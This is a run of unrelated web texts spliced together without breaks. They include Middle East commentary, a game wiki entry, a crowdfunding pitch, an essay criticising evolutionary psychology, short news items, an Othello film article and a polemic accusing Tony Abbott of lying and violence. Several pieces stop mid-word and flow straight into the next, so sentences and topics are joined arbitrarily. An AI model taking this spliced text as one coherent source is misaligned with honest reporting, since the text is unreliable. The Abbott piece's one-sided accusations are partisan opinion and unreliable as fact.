How long this unedifying game goes on remains to be seen. But given NATO has agreed to place Patriot missiles on Turkey’s southern border, gives us an idea of the stakes involved. That’s principally as a defensive measure against Syrian mortars, but if things continue to take a turn for the worse, how long Turkey keeps its powder dry and troops at bay, is anyone’s guess. No one wants to open Pandora’s Box by invading Syria, but Turkey may eventually be left with no choice. Not if it wants to be a beneficiary of Levantine regional power, rather than a perennial casualty, as events in Palestine and far more importantly, Syria, currently attest. That’s the real Middle East crisis oil markets need to be watching right now: Damascus, Damascus, Damascus…The UESPWiki – Your source for The Elder Scrolls since 1995
Anhaedra
Anhaedra is a Dremora who can be found in the Maar Gan shrine. Bound to this plane by Lord Vivec, his eternal plight is to endure taunts from pilgrims and try to hit them while they have a powerful Sanctuary blessing on them as protection.
In order to complete the Pilgrimage to Maar Gan quest for the Temple, you must taunt him (via dialogue) into attacking you.
If you talk to Alds Baro at the Maar Gan Outpost about latest rumors, he will tell you that Anhaedra has been unusually short-tempered lately.
Related Quests [ edit ]
Pilgrimage to Maar Gan: Perform another pilgrimage to the shrine in Maar Gan.
Dialogue [ edit ]
Greeting:
"I am Anhaedra. If you are a pilgrim, read the inscription on the stupid rock.
"You again? Didn't you learn your lesson the first time?"
taunt the Daedra:The Market is Thirsty for Arctic Stick!
Brandon Adams, inventor and owner of ArcticStick, has spent nearly three years perfecting his product. He is now reaching out to secure funding for manufacturing and inventory. Above he appears on the concept pilot for a reality television show.
An Introduction to ArcticStick
ArcticStick is an innovative new product that fits INSIDE plastic beverage bottles to get your drink COLDER FASTER and keep it COLD LONGER. Our unique design allows you to FREEZE any liquid. You can fill the ArcticStick with water if you just want to COOL your drink. But you can get creative if you want to COOL AND FLAVOR it. You can add any number of other liquids to quickly and conveniently make your drink of choice. Just drop it in your drink for the flavor BURST you crave!
Brandon at SlingShot Products, a firm that manages accounts as large as Coca-Cola and Black & Decker, showing off the rapid prototype of the ArcticStick.
Bottled Beverage Stats
We are confident that these statistics will show that there is a place in the market for a product that will quickly cool beverages that have been left out long enough to get warm:
In 2011, 24.37 billion cases of carbonated and noncarbonated bottled drinks were consumed.
In 2010, total bottled water consumption was 8.75 billion gallons.
In 2011, there was more than $7.7 billion in bottled water sales. From your personal experience, you know it's rare to finish a bottled beverage before it gets a little too warm. That will no longer be the case with the launch of ArcticStick! A Track Record of Success Brandon on set of the concept pilot of a TV show called "America's Got Money." And before you go dismissing ArcticStick as a flash in the pan, keep in mind:
The design and concept has earned awards from a student-run competition at Iowa State University.
Brandon Adams won a rigorous student entrepreneur competition at Iowa State University with his invention "ArcticStick". This photo shows several of the early prototypes. Adams has been working on the project for nearly three years.
The ArcticStick went through a number of design phases to perfect performance.
ArcticStick has received a vote of confidence and hands-on development assistance from millionaire entrepreneur and inventor Cactus Jack Barringer (who recently had a project funded on the wildly popular TV show "Shark Tank").
Brandon has worked with Cactus Jack Barringer (pictured above in cowboy hat) - an internationally-known entrepreneur, inventor and marketer - to make the ArcticStick a reality.
The invention propelled inventor Brandon Adams to a win in the highly competitive Des Moines: Apprentice competition hosted by reality television star Tana Goertz.
Brandon being recognized by reality TV star Tana Goertz as the winner of the Des Moines "Apprentice" competition. Brandon and the ArcticStick beat out more than 250 other applicants to win the competition.
A Versatile Product (Ready for Market...)
So, what exactly does the ArcticStick do? Check this out:
The ArcticStick not only cools bottled beverages, it cools any drink and also can hold a shot of flavor, energy or anything else you might want to add to your drink!
Rewards for pledges are generous... We need YOUR support!
While we're out and about sharing the Arctic Stick story, we are getting a lot of WIIFM questions - that is: What's In It For Me? PLENTY! Instead of just telling you, take a look below to see all we're offering for supporting the Arctic Stick dream!
Pledge $5 or more THE ICE BRIGADE: For your support, you will receive a handwritten thank you from owner and founder Brandon Adams on one of our super cool ArcticStick postcards.
Pledge $15 or more THE COOL KIDS: Includes the above, PLUS... You will become among the FIRST EVER to own the ArcticStick. Get a 3 pack of ArcticSticks, and a personlized shout out on Twitter thanking you for your support!
Pledge $25 or more ICE, ICE, BABY: Includes all the above, PLUS... a limited edition ArcticStick t-shirt and koozie to keep things EXTRA cool and to show everyone that you support the ArcticStick dream!
Pledge $35 or more THE ICE DREAM TEAM: Includes all the above, PLUS... Your choice of an ArcticStick bumper sticker or fridge magnet.
Pledge $50 or more COLD AS ICE (That's a GOOD thing): Includes all the $35 package, PLUS... Your choice of an ArcticStick water bottle or sun glasses.
Pledge $75 or more COOL CUC |
communicating with the community, and we didn’t like that much. We think that if the project started as an open source project it need to be maintained as an open source project. We think the flaws that node.js had were:
a. Fixating on platform stability over project evolution
b. Ignoring the community on project direction
c. Preserving public image over project committers
4. Anything more to add?
We hope that our logo works and pleases the community so we can keep on working. We had a blast doing this project and worked as a team to have an awesome outcome. We’re very happy with the final delivery even though if it’s not chosen as the final logo. Hope to hear more feedback from the community!
Special thanks to Agustín Linenberg, Alejandro Vizio and aerolab, you guys did a great job!In principle, evolutionary psychology, which seeks to understand our behavior in light of the fact that we are products of natural selection, can give us deep insights into ourselves. In practice, the field often reinforces insidious prejudices. That was the theme of my recent column “Darwin Was Sexist, and So Are Many Modern Scientists.”
The column provoked such intense pushback that I decided to write this follow-up post. Alt-right pundit Steve Sailer described my column as “science denialism.” Psychologist Jordan Peterson deplored “the descent of Scientific American.” Scientific American columnist Michael Shermer called me the “PC police of the [Scientific American] web site.”
Political scientist Charles Murray complained that Scientific American “has been adamantly PC since before PC was a thing,” which as someone who began writing for the magazine in 1986 I take as a compliment. Murray, famed for contending in The Bell Curve that biology underpins racial inequality, has proposed similar arguments to explain female inequality.
Critics of my column see themselves as courageous defenders of scientific truth, and yet they prefer “truth” that confirms their conviction that inequality reflects biology. If you question these claims, you are a “social justice warrior.” So what does that make them? Social injustice warriors?
Now let’s take a closer look at a claim advanced by evolutionary psychologist Geoffrey Miller, whom I cited in my previous column. In his 2000 book The Mating Mind, Miller argues that sexual selection can account for differences between males and females. Darwin proposed sexual selection to explain puzzles like the tail of the peacock, which from a practical point of view seems to diminish fitness. Darwin hypothesized that females have chosen to mate with, or selected, peacocks with large tails, thus propagating this trait. Miller suggests that sexual selection can help explain why males dominate women in many realms of culture. Here is how he puts it in The Mating Mind:
Men write more books. Men give more lectures. Men ask more questions after lectures. Men post more e-mail to Internet discussion groups. To say this is due to patriarchy is to beg the question of the behavior's origin. If men control society, why don't they just shut up and enjoy their supposed prerogatives? The answer is obvious when you consider sexual competition: men can't be quiet because that would give other men a chance to show off verbally. Men often bully women into silence, but this is usually to make room for their own verbal display… The ocean of male language that confronts modern women in bookstores, television, newspapers, classrooms, parliaments, and businesses does not necessarily come from a male conspiracy to deny women their voice. It may come from an evolutionary history of sexual selection in which the male motivation to talk was vital to their reproduction.
Anthropologist Richard Wrangham presented a similar argument in his 1996 book Demonic Males (co-written with a journalist). Wrangham asserts that male aggression and even group aggression, or war, are innate tendencies that we share with chimpanzees, our closest relatives. Females have selected these “demonic” traits, according to Wrangham. He writes:
Many women would prefer it otherwise, but in the real world, the tough guy finds himself besieged with female admirers, while the self-effacing friend sadly clutches his glass of Chablis at the fern bar alone. The individual men and women who make up our species are extraordinarily ready to admire, to love, and to reward male demonism in many of its manifestations, and that admiration, love and rewarding perpetuates the continuation, for generation after generation, of the demonic male within us. Women don’t ask for abuse. Women don’t like many specific acts of demonic males. But paradoxically, many women do regularly find attractive the cluster of qualities and behaviors—successful aggression, dominance and displays of dominance—associated with male demonism. Both men and women are active participants in the very system that nurtures the continued success of demonic males; and the knot of human evolution, with the demonic male at the center, requires an untying of both strands, male and female.
Miller and Wrangham insist that they are trying to understand the roots of harmful behaviors, not to excuse them. They don’t say patriarchy is inevitable, let alone good. Wrangham argues in Demonic Males that female empowerment is the best way to create a more egalitarian, peaceful world.
But there are a couple of problems with the sexual-selection theory of male dominance. First, the theory is poorly supported by anthropological evidence. Studies suggest that our pre-civilization ancestors, who were nomadic hunter-gatherers, were relatively peaceful and egalitarian. War seems to have emerged not millions of years ago but about 12,000 years ago when our ancestors started abandoning their nomadic ways and settling down. [See war posts in Further Reading.]
In her 2009 book Mothers and Others anthropologist Sarah Blaffer Hrdy writes that “hunter-gatherers almost everywhere are known for being fiercely egalitarian and going to great lengths to downplay competition.” When I interviewed her in 2009, Hrdy speculated that the emergence of war at the end of the Pleistocene era diminished the status of women and boosted the status of males, especially those who excelled at fighting. War and patriarchy, in other words, are relatively recent cultural developments. A recent paper in Science corroborates Hrdy’s claim that hunter-gatherers displayed “sex egalitarianism.”
In his new book Behave, anthropologist Robert Sapolsky concurs that war “seems to have been rare until most humans abandoned the [nomadic hunter-gatherer] lifestyle.” Sapolsky also argues that culture might contribute more than biology to modern differences in male and female cognitive performance. He cites a 2008 paper in Science, “Culture, Gender and Math,” which found that “the gender gap in math scores disappears in countries with a more gender-equal culture.”
Another problem with the sexual-selection theory of male dominance is that it suggests women have been complicit in their own oppression. We live in a hyper-competitive, male-dominated culture because women prefer the “tough guy” to the “self-effacing” guy. Women are bullied into submission by loud-mouthed, domineering men because, historically, women have “selected” men who are loud-mouthed and domineering, thus propagating these traits. Women dig mansplainers.
And remember that women’s preference for domineering men is supposedly instinctual, rather than a rational response to a male-dominated world. The sexual-selection theory of male dominance is a form of victim-blaming. It is an especially insidious just-so story, because it feeds the male fantasy that women want to be dominated.
Proponents of biological theories of sexual inequality accuse their critics of being “blank slaters,” who deny any innate psychological tendencies between the sexes. This is a straw man. I am not a blank-slater, nor do I know any critic of evolutionary psychology who is. But I fear that biological theorizing about these tendencies, in our still-sexist world, does more harm than good. It empowers the social injustice warriors, and that is the last thing our world needs.
Further Reading:
Darwin Was Sexist, and So Are Many Modern Scientists
Google Engineer Fired for Sexist Memo Isn’t a Hero
Confronting Sexual Harassment in Science
Women in Science are a Force of Nature
Sowing the Seeds of Diversity in Engineering
It's Time for Science and Academia to Address Sexual Misconduct
Should Research on Race and IQ Be Banned?
What “Monster Porn” Says about Science and Sexuality
Is Robert Trivers Deceiving Himself about Evolutionary Psychology's Flaws?
New Study of Foragers Undermines Claim That War Has Deep Evolutionary Roots.
New Study of Prehistoric Skeletons Undermines Claim that War Has Deep Evolutionary Roots.
Survey of Earliest Human Settlements Undermines Claim That War Has Deep Evolutionary Roots.Teen charged with DUI after cop crashes into his car.
A teenager has been charged with driving under the influence after a Spokane police officer ran a red light and struck the teen's car.
The Spokesman-Review reports that court documents say Officer Seth Killian ran a red light on Dec. 8 and crashed into a car driven by a 16-year-old boy. Officers say the teen smelled like marijuana and had bloodshot and glassy eyes.
Documents say he admitted to smoking marijuana two hours before the crash.
Spokane police are still investigating. Killian was at fault, but Internal Affairs Lt. Justin Lundgren says the department will review whether Killian could have prevented the crash.
Killian was not drug tested. Lundgren says it's only policy to test officers involved in collisions if there's reasonable suspicion that they're impaired.Do you agree with him? Here’s 20 reasons rockin’ Ted Nugent thinks everyone should vote for Trump:
Obama is against Trump
The Media is against Trump
The establishment Democrats are against Trump
The establishment Republicans are against Trump
The Pope is against Trump
The UN is against Trump
The EU is against Trump
China is against Trump
Mexico is against Trump
Soros is against Trump
Black Lives Matter is against Trump
MoveOn.Org is against Trump
Koch Bro’s are against Trump
Hateful, racist, violent Liberals are against Trump
There you go, sportsfans. … oh, and Hillary is against Trump. Duh.
Pretty sure Ted Nugent would like all this in-house nonsense to go away too:
BUT WAIT~ Uncle Ted added some honorable mentions:
Cher says she will leave the country
Whoopi says she will leave the country
Rosie says she will leave the country
Al Sharpton says he will leave the country
Gov. Brown says California will build a wall
So 25, actually.
QUESTION: Do you have any to add? Share and link to this article with your extras!!Treaty: South Australian Government enters historic discussions with Aboriginal nations
Updated
South Australia is making history, with the State Government entering treaty discussions with Aboriginal nations to help address past injustices.
The Government has set aside $4.4 million over five years to support the treaty process and the appointment of an independent commissioner for treaty.
At this stage it is unclear what the treaties will cover or whether compensation will be included, but South Australian Indigenous leaders said the process would set a positive course for the future.
Major Sumner, a Ngarrindjeri man at the Murray mouth, said the word treaty alone has important meaning.
"Even just with a mention of treaty, that opens up a different world for us to talk and put things in place, do all sorts of negotiations around how we structure our lives," he said.
Mr Sumner joined other Aboriginal elders at the start of historic negotiations between the State Government and Indigenous communities.
The chairman of Narungga nations on the Yorke Peninsula, Tauto Sansbury, wants an open, transparent process about everything that has affected Aboriginal people.
"I think it's going to mean the satisfaction of acknowledging that Australia was basically invaded," he said.
"And that the process of sitting down and negotiating a final outcome for us — because we've been totally dispossessed of everything — and coming up with a good solution that could move our community, children and families forward."
The South Australia Government said negotiations would be open-ended, but what form any treaty would take or whether compensation would be included, is not yet clear.
The State's Aboriginal Affairs Minister, Kyam Maher, said it was hoped a treaty would be signed off on by the end of next year.
"If it is treaties with Aboriginal nations in South Australia, we recognise that will take some time, but it's a process we're committed to and we'll get started from today."
He said they had no predetermined ideas about what a treaty might include or what form it would take.
"That will be part of discussions," he said.
"But there are some common things that Aboriginal people have talked about over the last couple of years about state-based treaties.
"They include things like providing a formal framework for Aboriginal people to be involved in designing and implementing policies in a whole range of areas that State Government provides services.
"Things like making sure that whatever levers or regulatory framework the State Government has at its disposal, we'll be using to provide economic development and independence for Aboriginal communities."
'Treaty should be for everyone'
Mr Sansbury said a treaty would make Australia more inclusive, both for Aboriginal and non-Aboriginal people, but most importantly, help right many of the wrongs of the past and give first nations an important place at the table.
"Where we are at this present moment is because we've never sat down and negotiated a treaty and a good outcome for us," he said.
"If you look at the incarceration rate of Aboriginal people right across Australia, it's just growing bigger and bigger and bigger.
"Our suicide rate is one of the highest on the planet. Our homeless, everything, our education, the life expectancy.
"There are a lot of things we have to discuss in how to put them into the treaty so we can start making change."
Victoria is already on the path to becoming the first state in Australia to have a treaty with its Indigenous people, with consultations underway since the start of the year.
Mr Sumner said Victoria and South Australia were showing the way, but that there needed to be a nationwide effort.
"It's no good just having it here in South Australia and not the rest of the country, because it's the same old thing going on now, it's a divide-and-conquer thing," he said.
"Today, this treaty, it shouldn't be about winning or who's going to lose or who's going to miss out. Treaty should be for everyone across this country, negotiations set in place.
"You've got the treaty that you're going to set up here in South Australia and Victoria and the rest of the country miss out. That's going to be bring animosity between different groups and that shouldn't happen."
Topics: indigenous-policy, government-and-politics, indigenous-aboriginal-and-torres-strait-islander, community-and-society, sa, australia
First postedIf you commute on Link between Westlake and UW, you may notice something a little different beginning this afternoon: cell service. Sound Transit has announced that the long-awaited addition begins today and will be rolled out over the coming months in (many) phases. For various administrative reasons and because each carrier has to sign a license agreement with the contractor (Mobilitie), the service will roll out carrier by carrier and tunnel segment by tunnel segment. The vendor also has an option to extend service from UW to the Maple Leaf Portal in 2021.
T-Mobile customers are the lucky ones, as they now have service between Westlake-UW. Verizon is expected to be added in a couple weeks, and then AT&T. (As of press time Sprint has not yet signed a contract.) Later this fall, the 3 carriers will be added to the Metro-owned segment from Westlake-International District, and finally Beacon Hill will get service sometime in 2017. For now, riders between Westlake-IDS will need to continue using WiFi on the ends of each platform to send and receive data.
Though a new etiquette campaign will surely be needed to dissuade loud phone talkers from spoiling commutes, cell service has been needed for a long time, and it’s good to see it finally happening. Enduring service disruptions and planning bus transfers depends on data, and underground will no longer be the worst place to be when trying to plan your day. Yay!
Sound Transit’s full press release below the jump…
Phased rollout getting underway for transit tunnel cell phone service
UW-Westlake segment starts first, to be followed by downtown, Beacon Hill in early 2017
Sound Transit has partnered with wireless infrastructure provider, Mobilitie, to design and install a Distributed Antenna System (DAS) network that will allow transit riders to use their cell phones while traveling underground. The DAS network, which has been under construction since earlier this year, is beginning a phased rollout this week. By late September, the Mobilitie network will provide wireless cellphone coverage to the tunnel between University of Washington and Westlake in Downtown Seattle, followed later this fall to the tunnels in Downtown Seattle and to Beacon Hill in 2017.
All cell phone service providers in Seattle will have the opportunity to access the tunnel DAS network through license agreements with Mobilitie, which is funding and maintaining the network under an agreement with Sound Transit. Starting this week, T-Mobile customers will be the first to have cell access between University of Washington and Westlake. Verizon and AT&T customers are scheduled to have access next month, with Sprint coming soon.
Mobilitie also has the option to provide cell service in the 8.2 miles of new tunnels and two underground stations under construction as part of the Northgate light rail extension opening in 2021.
The underground coverage will not only enable riders to enjoy more productive commutes but make it easier for Sound Transit to communicate with riders and will improve safety and security underground.
Mobilitie, which is one the largest privately held telecommunications infrastructure companies in the United States, partners with cities and municipalities across the country to deploy indoor and outdoor neutral host DAS network, next generation small cell sites, and other infrastructure that provides local residents with enhanced mobile connectivity and wireless broadband access. Its high-density wireless infrastructure is designed to enable rich, interactive mobile experiences, including real-time video streaming, 5G, and other mobile applications.user1488397844 Sun 31-Dec-17 09:18:15
I looked through my OHs internet history last night as it's his birthday and I know hes been looking at some watches so wanted to order him one. However I was totally unprepared for what I found. He works away from home a lot of the time & I found various searches for escorts and massages in the area he's been working!?!? Obviously the massage could be totally innocent and I'm trying not to overreact but what the hell??? He had a works do last night and was worse for wear so I haven't had a chance to speak to him yet but what should I do? I have no evidence he's actually done anything but do you think the intention has been there? I'm just looking for advice on how to approach this. We have been together for 14 years and have a DC together, I have never had any concerns before! I dont want him to turn this around on me and say I shouldn't have checked his phone, as I say I've never done this before and had no concerns, hence why he clearly never bothered deleting his history!Three-dimensional (3-D) subsurface radar volumes generated from thousands of 2-D radar profiles are revealing new information about the polar regions of Mars, including more accurate mapping of CO 2 and water ices, the discovery of buried impact craters, and new elevation data. PSI Senior Scientist Nathaniel E. Putzig is the lead author of the new Icarus paper “Three-dimensional radar imaging of structures and craters in the Martian polar caps.”
This information will help scientists better understand Martian climate changes and may allow them to determine the age of the polar caps without using climate models. The 3-D data volumes were assembled from observations by the Shallow Radar (SHARAD) sounder onboard NASA’s Mars Reconnaissance Orbiter (MRO) during more than 2,000 passes over each Martian pole.
“An example is the more accurate mapping of the CO 2 ice deposits in the south that allows us to provide a new, larger estimate of their volume. Sublimation of that CO 2 ice into the atmosphere – which is thought to have occurred at various times in Martian history – would more than double the current atmospheric pressure,” said Putzig. “That in turn would allow liquid water to be stable at the surface in many more locations than it is today.”
One type of feature in the polar caps that was never detected or mapped with single-orbit radar profiles is buried impact craters. “In the 3D radar volumes, we can identify and map bowl-shaped features that appear to be buried impact craters, many of them at the base of the icy layers,” Putzig said. “To estimate the age of planetary surfaces, scientists combine information about the number, size, and distribution of craters and knowledge of cratering rates over time within the Solar System.
“Our analysis of the apparent craters at the base of the northern cap yields an age of about 3.5 billion years, which is consistent with the previously estimated age for the surrounding plains from surface cratering statistics,” Putzig said. “This overall agreement gives us greater confidence in identifying buried craters as we continue to search for them within the ices and beneath the southern cap.”
“The 3-D makes these types of investigation much more efficient than our work in the past, and some things that were formerly impossible are now done quickly.” said coauthor and PSI Research Scientist Isaac B. Smith. “This new way of using the radar data saves us from painstakingly mapping every feature in thousands of 2-D profiles. With the 3-D volumes, we can see things immediately that took months or years to map with the 2-D dataset.”
Another addition that the 3-D volumes provide is greater topographic coverage of the poles. The Mars Global Surveyor (MGS) spacecraft provided topographic information from its Mars Orbiter Laser Altimeter (MOLA) instrument between 86.95 degrees north and south, but latitudes more poleward than that were not well measured. For 2-D profiles, this topographic data helps to distinguish radar reflections from surface features on either side of the spacecraft ground track from subsurface reflections that arrive at the same time.
The prior lack of topographic data at very high polar latitudes made this important step impossible. However, the MRO orbit reaches latitudes of 87.45 degrees, and surface reflections mapped in the 3-D radar volumes over both caps now provide elevation data in these latitude zones covering 28,500 square kilometers. These new data will allow more accurate radar models for polar observations.1951 film by Orson Welles
Othello (also known as The Tragedy of Othello: The Moor of Venice) is a 1951 drama film directed and produced by Orson Welles, who also adapted the Shakespearean play and played the title role. Recipient of the Grand Prix du Festival International du Film (precursory name for the Palme d'Or[3]) at the 1952 Cannes Film Festival, the film was distributed by United Artists when it was released in the United States in 1955. Othello was filmed on location over a three-year period in Morocco, Venice, Tuscany and Rome and at the Scalera Studios in Rome.
In addition to Orson Welles, the cast consisted of Micheál MacLiammóir as Iago, Robert Coote as Roderigo, Suzanne Cloutier as Desdemona, Michael Laurence as Cassio, Fay Compton as Emilia and Doris Dowling as Bianca. Three versions of the film have seen theatrical release — two supervised by Welles, and a 1992 restoration supervised by his daughter, Beatrice Welles.
Production [ edit ]
Welles trimmed the source material, which is generally around three hours when performed, down to a little over 90 minutes for the film.[4] One of Welles' more complicated shoots, Othello was filmed erratically over three years. Shooting began in 1949, but was forced to shut down when the film's original Italian producer announced on one of the first days of shooting that he was bankrupt. Instead of abandoning filming altogether, Welles as director began pouring his own money into the project. When he ran out of money as well, he needed to stop filming for months at a time to raise money, mostly by taking part in other productions. Because of lack of funds, production was stopped at least three times. The film found some imaginative solutions to a range of logistical problems; the scene in which Roderigo is murdered in a Turkish bath was shot in that form because the original costumes were impounded and using replacements would have meant a delay. One of the fight scenes starts in Morocco, but the ending was shot in Rome several months later.[5] Welles used the money from his acting roles, such as in The Third Man (1949), to help finance the film, but this often involved pausing filming for several months while he went off to raise money; and these pauses were further complicated by the shifting availability of different actors, which meant that some key parts (like Desdemona) had to be recast, and whole scenes then reshot.[6] This lengthy shoot is detailed in Micheál MacLiammóir's book Put Money in Thy Purse.
When Welles did The Black Rose in 1950 he insisted that the coat his character, Bayan, wore be lined with mink, even though it would not be visible. Despite the expense, the producers agreed to his request. At the end of filming, the coat disappeared, but could subsequently be seen in Othello with the fur lining exposed.[7]
Welles was reportedly extremely satisfied with the film's musical score by Angelo Francesco Lavagnino, and Lavagnino again provided the musical scores of Welles' two subsequent Shakespearean films, Chimes at Midnight (1965) and The Merchant of Venice (1969).
Cast [ edit ]
Release [ edit ]
A dubbed version of Othello premiered in Rome, Italy on 29 November 1951.[8] Welles' original English-language version premiered at the Cannes Film Festival on 10 May 1952, and went on general release in Europe. Unlike that of the subsequent American cut, the soundtrack was generally without flaws, apart from some dubbing that was slightly out of sync. It features different edits of many scenes from the other two versions, with alternate camera angles used. A print remains stored in the Paris Cinematheque.
Welles supervised a different version of Othello for the American market, a 93-minutes cut released on 12 September 1955 in New York City. This had a number of minor editing changes and several major soundtrack changes, including Welles' replacement of his spoken-word titles with written credits (requested by the film's distributor, United Artists) and the addition of a narration by Welles. Suzanne Cloutier's entire performance was dubbed by Gudrun Ure, who had previously played Desdemona opposite Welles in a 1951 theatre production of Othello that was staged to raise funds to complete the film. Paul Squitieri, in a 1993 PhD study of the film in its various forms, argues that the U.S. version represents a "compromise", with some of the changes forced on Welles, and that the original European cut represents the truest version.[9] A Criterion LaserDisc of this version came out in 1994, but was withdrawn from sale after legal action by Welles' daughter, Beatrice Welles.
Welles featured Othello clips in his 1978 "making of" movie, Filming Othello, but in fact these had all been completely reedited by him for the documentary, and so do not appear in the original film in the same form. The clips were all accompanied by a voice-over from Welles, so that no part of the original soundtrack was heard in Filming Othello.
Reception [ edit ]
Released in Europe to acclaim in 1952, Othello won the Grand Prix du Festival International du Film[note 1] at the Cannes Film Festival under the Moroccan flag.[10] Welles could not find the film a distributor in the United States for over three years, and even after its U.S. release it was largely ignored. The film was re-released to theaters in a 1992 restoration that screened out of competition at the 1992 Cannes Film Festival[11] and was shown to acclaim in the United States. The film has a 93% approval rating on Rotten Tomatoes, based on 32 reviews with an average rating of 7.9/10. The website's critical consensus states, "This ragged take on Othello may take liberties with the source material, but Orson Welles's genius never fails to impress."[12]
1992 restoration [ edit ]
In 1992, Beatrice Welles-Smith, daughter of Orson Welles, supervised the restoration of the film, which saw over $1 million spent on improving the picture quality, re-synching the audio, adding extra sound effects, and completely re-recording the music in stereo. Although the restoration was greeted with positive reviews upon its release, it subsequently came under attack for numerous technical flaws and alterations. Further alterations were made between the restoration's theatrical release and its home media release, after complaints that the opening scene lacked the Gregorian chanting it had previously had, and another scene was missing entirely. This is the only version which has been available on VHS and DVD since the mid-1990s, since legal action by Beatrice Welles has blocked either version released by Orson Welles from being sold. This version runs to 91 minutes.[citation needed]
Multiple film historians criticized the restoration work. Jonathan Rosenbaum argued that numerous changes were made against Welles' intent and that the restoration was incompetent, having used as its source an original distribution print with a flawed soundtrack. In fact, the visual elements of the 1992 restoration utilized a fine-grain master positive—discovered in a storage in New Jersey—as its source, not a distribution print. The audio came from a distribution print that was re-synchronized, virtually syllable-by-syllable by the restoration team to match the master positive. As some voice parts had music underneath, the newly recorded music and effects track had to match whatever music was underneath the dialogue, leading to inconsistencies. The flaw in the American cut's soundtrack is how white noise is audible in the background throughout dialogue and music, but that the noise cuts out when there is no action—meaning the white noise is more noticeable whenever it returns. The restoration sought to minimize this problem, but it is still present in places. By contrast, the white noise problem is not present to begin with in Welles' original 1952 European cut.[citation needed]
Rosenbaum makes several charges of incompetence on the restoration team's part, including that the restoration team were unaware of the European cut's existence, and instead based their work on the American cut which was farther from Welles' original vision. The team recut the order of entire scenes to make the dialogue match. One scene was inexplicably missing from the cinema release, but restored for the video/DVD release. The opening scene, in cinema release, was lacking the important Gregorian chanting, but this was restored for the DVD. The soundtrack attracted particular criticism. Instead of consulting the papers of composer Angelo Francesco Lavagnino, where a full copy of the score survives, the restorers instead chose to transcribe the music from the poor-quality audio of the print they had, with numerous mistakes having been made — Lavagnino's son has gone so far as to argue the new score is so different it is no longer his father's work.[citation needed] The new score was also recorded with arguably less impressive resources than the original version—although Welles only used a single microphone for a monaural soundtrack, he had forty mandolins playing in his version, while the new stereo soundtrack used three. Further, Rosenbaum states that in Beatrice Welles refusing to give permission for her father's version to be shown or released, Beatrice "effectively made her father’s version of the film (as well as, more indirectly, his final feature, Filming Othello) illegal, so that she can make more money on her own version", since she only receives royalties on the version which she restored.[13] Many of these criticisms have been subsequently echoed by other scholars such as David Impastato[14] and Michael Anderegg.[15]
Anderegg particularly criticizes the bold claims made by the restorers at the time of the film's 1992 release, including Beatrice Welles' statements "This is a film that no one has seen", that it was a "lost film", and that it was "never given a theatrical release" (all of which are untrue), and he dismisses as hyperbolic the judgment of film restorer Michael Dawson that Welles' original dubbing was like "Japanese sci-fi." Instead, Anderegg argues that Othello was simply seldom screened.[16] Jonathan Rosenbaum has defended the out-of-sync dubbing of some lines in Welles' original version, pointing out it was typical of European films of the early 1950s, and likening modern attempts to resynchronise it to the proposed colorisation of Citizen Kane.[13]
In 2014 Carlotta Films US released a 2K digital restoration of the 1992 version on DCP.[17] This digital version premiered in Dallas at the 2014 USA Film Festival,[18] and subsequently played in other cities on the art-house circuit.[19][20][21][22] The New Yorker reported that the monaural soundtrack was a great improvement on the previous version of the restoration — "much more appropriate for a low-budget, black-and-white 1952 release."[23]
Home media [ edit ]
On September 26, 2017, The Criterion Collection released both the European and 1955 US versions of Othello on Blu-ray and DVD. Special features include the short film Return to Glennascaul (1951); audio commentary by Peter Bogdanovich and Myron Meisel; and interviews with Simon Callow, Joseph McBride, François Thomas and Ayanna Thompson.[24]
See also [ edit ]
Notes [ edit ]
^ Grand Prix du Festival International du Film was the original award granted by the Cannes Film Festival during its early years. Grand Prix du Festival International du Film changed its name to Palme d'Or in 1955. Thewas the original award granted by the Cannes Film Festival during its early years.changed its name toin 1955.The James Ashby conspiracy against Peter Slipper implicates many senior Liberal Party figures, including Tony Abbott. Denise Allen and managing editor David Donovan report.
THE MAINSTREAM MEDIA are gloating about the fact the LNP and Ashby have "succeeded" in their evil little plot to discredit the Government.
They are gloating about the fact that, not only have they ruined a man's career, they have also destroyed a man’s "character".
What a wonderful result that must seem — to have so successfully slandered and defamed another person? To have driven him and his family to the brink?
This person, Peter Slipper, was a man the LNP themselves had endorsed in the Fisher electorate for decades. And he was a man to be ruined by someone who couldn’t have been a more trusted ally; who had pride of place at Slipper’s wedding — though he turned up 20 minutes late, delaying the service and leaving the bride in tears.
The man referred to is Tony Abbott — a man without a shred of honour.
Tony Abbott thought enough of the character of Peter Slipper to celebrate his wedding — yet later scathingly denounced him to the nation in Parliament as a misogynist.
A few of Peter Slipper’s private text messages suggest, at times, he may have had less than admirable thoughts — but who are we to judge? If someone was to trawl through all your own most private words — would you feel exposed? Would you have said things you now regret? These thoughts of Mr Slipper’s ‒ these very human thoughts ‒ do not make him any less competent, or sane, or good, or worthy.
Regrettably, Peter Slipper may very well have been the best Speaker to sit in the Speaker’s chair since Federation — yet he was denied much time to shine by the arrogant, power-hungry narcissism of a bosom friend he’d held for decades.
This kind of personal betrayal is almost unimaginable in a prospective prime minister.
Tony Abbott had the audacity – the temerity – to stand up in Federal Parliament to denounce, discredit and debase his very own former bosom buddy — but if Tony Abbott’s great friend is a terrible misogynist ‒ a hater of women ‒ then what does this say about Tony Abbott?
It says that Tony Abbott is a hypocrite.
It reminds us that this is the same person who was arrested and convicted for vandalism at university; who punched a wall on either side of a woman’s head in a fit of rage after being beaten by her in a student election; who found himself in court for sexual assault after allegedly groping a woman; and who has been, right throughout his life, a bully and a bigot. A man who has been reported to have a tendency to respond first with punches, not words; who flattened a man’s nose and ended up in Glebe Court on assault charges; a man whose greatest love is fighting.
Put simply, Abbott has no right to slander others on charges of character — because he is of base character himself.
Abbott’s more recent "character", since assuming the top job in the Liberal Party, is clearly apparent. He will destroy anything and anybody that stands in his way in a bloodthirsty romp to take the ultimate prize – the prime ministership – something he has coveted his entire life.
Abbott brazenly calls for an inquiry into the 20 year old AWU issue – an issue no one in the Coalition or the mainstream media has been able to produce a shred of evidence about that tarnishes the Prime Minister – but when an inquiry is suggested about getting to the bottom of the Ashby/Slipper affair – an issue in which a Federal Court Judge has brought down damning findings against Ashby and senior members of the LNP, including a former Federal Liberal cabinet minister – he runs back home to mother England and calls it all a witch hunt!
The gall of this man.
When asked about when he personally knew about the Ashby allegations, Tony Abbott, as barefaced as ever, looked Australia in the eye and said:
“"I had no specific knowledge of this until I read the newspapers on Saturday morning."*
Bullshit!
Now, thanks to the brilliant analysis of IT expert Kieran Cummings, we can be quite sure that Abbott has lied about this — as he has shamelessly lied about so many other things.
Kieran has proven, by analyzing the meta |
to UN sanctions. “Aggression will be met with aggression and peace will be met with peace.”
